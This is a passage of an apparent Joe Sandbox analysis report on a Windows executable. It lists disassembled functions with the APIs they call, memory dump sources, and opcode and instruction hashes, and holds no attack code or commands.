Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction Fuzzy Hash: 10219F33B1874187D7209F29E95096EB7A4FB88BC4B841135EB8D87B14EF39E425CB10

Function 00007FF797859118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7978590FC), ref: 00007FF797859140
TerminateProcess.KERNEL32(?,?,?,00007FF7978590FC), ref: 00007FF79785914B
ExitProcess.KERNEL32 ref: 00007FF79785915A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction ID: 6f9b31daef059129bb76b71346d21868dcabfefc52b6a218e39d49e6465fce2c
Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction Fuzzy Hash: 59E01A20B0474186EF647B709D89A79AB52AF88BC1FC15478C80E02392DE3DE42A8220

Function 00007FF7978466C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF797846C05

Strings

CALL, xrefs: 00007FF797846BCE

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 7df1f46bfd15c02889e12017a46acf8864a0367ddef3f259e13737cb86d507f2
Instruction ID: 1a7df31a5d8196908a5ec158b7bdf7f448e4c110f26e8ab4c04b7481f130187c
Opcode Fuzzy Hash: 7df1f46bfd15c02889e12017a46acf8864a0367ddef3f259e13737cb86d507f2
Instruction Fuzzy Hash: 99229A72B08642CAEB24EF75D441AACBBA1FB44BD8F804136CA4D57795DF78E466C320

Function 00007FF797836838 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF7978368A2

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 65ef234e1015258fa0aca62b7805f88a650c59163da287440373c9589af60f10
Instruction ID: 739fd53db1e949299e9e75caa9a704d089a24fbbd199670ec1425206c43700e6
Opcode Fuzzy Hash: 65ef234e1015258fa0aca62b7805f88a650c59163da287440373c9589af60f10
Instruction Fuzzy Hash: 2E419172E08642C2E734AF39E404B39BBA0EB457E8F844230DA6E0B6C9CF7DD4568750

Function 00007FF797836460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797836D64: LoadLibraryA.KERNEL32(?,?,?,00007FF797836490), ref: 00007FF797836D7B
Part of subcall function 00007FF797836D64: GetProcAddress.KERNEL32(?,?,?,00007FF797836490), ref: 00007FF797836D93

FreeLibrary.KERNEL32 ref: 00007FF7978364BA
LoadLibraryExW.KERNELBASE ref: 00007FF7978364E4

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 4148032de61d84ae77990a54cc2b1f6886a047abe3d4ed031ab241bf62c2a7ff
Instruction ID: ca7463a908dc76709b5d35b27a6b746307b1ffe8184b0a325ba7107b37bf91e0
Opcode Fuzzy Hash: 4148032de61d84ae77990a54cc2b1f6886a047abe3d4ed031ab241bf62c2a7ff
Instruction Fuzzy Hash: 33417F62B14A1286EB24EF39D8407FC6BA0EB44BCCF844131EA4E47699DF3CD466C720

Function 00007FF797836258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF797836350

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction ID: 97442e7029a4e74742b275e6f8a1d971cef7de31017809e2f5a7dc2f79f17e07
Opcode Fuzzy Hash: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction Fuzzy Hash: 15419F71A09B46C6E765AF29E4407A8BBA8FB48BD8F844035DE4D07749DF7CE162C720

Function 00007FF797833730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00007FF797833756

Part of subcall function 00007FF797859334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797859348

Part of subcall function 00007FF7978336E8: SystemParametersInfoW.USER32 ref: 00007FF797833705
Part of subcall function 00007FF7978336E8: SystemParametersInfoW.USER32 ref: 00007FF797833725

Part of subcall function 00007FF7978337B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF7978337F2
Part of subcall function 00007FF7978337B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF797833807
Part of subcall function 00007FF7978337B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF79783388D
Part of subcall function 00007FF7978337B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF797833785), ref: 00007FF797833924

SystemParametersInfoW.USER32 ref: 00007FF797833797

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
String ID:
API String ID: 4207566314-0
Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction ID: bfec8d3393ff0b39aab3982dd7cb59e97881d0aee0640679bddc3664e9256d4c
Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction Fuzzy Hash: B9014670E0C2438AF774BB79A804974FB61EF08390FC64035D40C876A2DE3DB4A68760

Function 00007FF79786B3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF79786B3D6
GetLastError.KERNEL32 ref: 00007FF79786B3E8

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction ID: e42c18321163f9c523010a7114cf726f8ef912267c309017df0b26a0df0aedca
Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction Fuzzy Hash: F8E04F10F0990392FE34BBB2580C5749E959F447D0BC48034D80D86255EE2CA4674620

Function 00007FF7978704B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF79787051B
GetLastError.KERNEL32 ref: 00007FF797870525

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction ID: 25f40a7b59877ba3c551b211dbea550ebd5f2035cdda70972f77f39575210222
Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction Fuzzy Hash: 7C11D611F1C64641FEB4B734A59567C9A825F94BE4FC84134DA2F4A7D2CDACA8A38221

Function 00007FF797841475 Relevance: 2.0, APIs: 1, Instructions: 533COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF797841990

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: f93ec442a7ba0cc11a5443e7b35fed9f8b1ff32b547cd1dd2020b4df4ad6a075
Instruction ID: de3b6830c536651c25a3c78661c3ba0874bb29632884b954b9d5117dd003c3a9
Opcode Fuzzy Hash: f93ec442a7ba0cc11a5443e7b35fed9f8b1ff32b547cd1dd2020b4df4ad6a075
Instruction Fuzzy Hash: 5C32CF22E0C6828AEB70EB25D445AB9EB61FB84BC4FC54132DA1D07795DF7DE4638720

Function 00007FF7978920D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF7978920E2

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 556be1f2a6991f09f1900d7dfd60a126fc4b67ae0ab494afd9f4005c3dc32ae1
Instruction ID: 9a72ef42b419d43359debecb1e26e8ffd1aed061d6583ccdddd2be786fc55ccf
Opcode Fuzzy Hash: 556be1f2a6991f09f1900d7dfd60a126fc4b67ae0ab494afd9f4005c3dc32ae1
Instruction Fuzzy Hash: C5414D62B08A418AEB20EF75D4417ACABA1FB44BD8F844535CE0D57795CFBCE466C360

Function 00007FF797858FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF797858FD4

Part of subcall function 00007FF797859164: GetModuleHandleExW.KERNEL32 ref: 00007FF797859184
Part of subcall function 00007FF797859164: GetProcAddress.KERNEL32 ref: 00007FF79785919A
Part of subcall function 00007FF797859164: FreeLibrary.KERNEL32 ref: 00007FF7978591BF

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction ID: 8ffebe47212a8871ac10b64535ce15627602838b9c831f2f63a5fddc4a5e4a1c
Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction Fuzzy Hash: 4741BF21A0965386FA74FB35D850A78ABA2EF407E0FC54875DA0D076D1EF3DE8638360

Function 00007FF7978648E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF797864835

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction ID: 5ca6a811d3f92cab75d658d3150b69ccb9011abc41bb5bc67581117b2ee2d9ff
Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction Fuzzy Hash: 6E21B621A0CA8691EA71BF619401A7EDA61BF45BC4F94C030EA4C57B8ADF7CD9628760

Function 00007FF797876D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF797876D34

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction ID: 12c1757d50ff30c4f93ae392eb2eaf6ed00ab94e0068a376dfa1e1fdc33ce0aa
Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction Fuzzy Hash: 7121F37271864287D775AF34E484769AEA0AB80BD0F544234DA5ECA7D4DF2DC8628710

Function 00007FF7978B5B80 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction ID: 37e753826104901eaac73c4421b7ba64d75c9a63daed5d574a87ed3bbd9d8b3a
Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction Fuzzy Hash: A4118C36B19A4581EB24AF26D09077CA760FB88FE0F945132DE1E077A1CF3CD4A28320

Function 00007FF797870414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction ID: 815d107c2b0178f1cf8cd9e0743d7a2f9728db9318487d33846ef4d305b7d8c5
Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction Fuzzy Hash: 1711A77291CA4696DA25BF70D4096ADFB61EF90394FD04132E64E0A7D9DF7CE052CB20

Function 00007FF7978648EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF797864909

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction ID: 5c2ff83645d75822fe93e96b90dbb15fd1e0a2eedfe1dac84c9897b1c48b96e4
Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction Fuzzy Hash: 40017121E08A0761FD39BB759411F7D99505F847E8FA49230E92D4B2D6EE6CE8634230

Function 00007FF797864970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF797864999

Part of subcall function 00007FF7978648EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797864909

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction ID: 8a53c13c05758b7708e1eba7416e3c69bcc1c6ae8c60707f741a99d0205c474a
Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction Fuzzy Hash: 8DF0BB21A4C90361E93477757441E7DAE846F407D4FE49130F95D862DBDE6CD4738631

Function 00007FF79783652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797864970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797864999

FreeLibrary.KERNEL32(?,?,?,00007FF79787C8FE), ref: 00007FF79783656F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FreeLibrary_invalid_parameter_noinfo
String ID:
API String ID: 3938577545-0
Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction ID: 2bce3687860a89147876b8f5873d1395f53c50c5819ef2dc0c2e313413fb98e3
Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction Fuzzy Hash: C3F03A92B09A05C2EF2DEF79C055B386A60BF58F88F540532CA0E8A189CF2CD4658261

Function 00007FF797854C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF797854C5C

Part of subcall function 00007FF797855600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF797855609
Part of subcall function 00007FF797855600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF79785561A

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Concurrency::cancel_current_taskExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 1680350287-0
Opcode ID: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
Instruction ID: 811cbe8b0aa16de1a39a94ec8c22ef8d327900b23b33afa96986f944d6d9b4fc
Opcode Fuzzy Hash: fcccb4986ec6b07b19f565cd1119bb6721087df1cc262ad93f02db05b15ececb
